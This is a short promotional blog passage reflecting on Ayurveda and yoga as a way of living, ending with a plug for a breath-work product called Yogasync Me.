While Ayurveda is difficult to accurately summarize briefly, it is indeed a crucial component that helps those of us who wish to adopt a deeper understanding of yoga.

If you appreciate that yoga isn’t just an exercise routine, but a way of living, you understand why many people accuse yoga students and yogis of being fanatical!

But what is so bad about living a balanced, healthy, long and happy life that guides us towards enlightenment? Is it because its a system so radically different and complete,  that only those who fully throw themselves into it truly understand? While others just aren’t interested in trading their routine and conventions over to be a part of it!

Yogasync Me!  Start healing with traditional breath work, faster than you thought possible:

Succinct Traditional Breathe & Move

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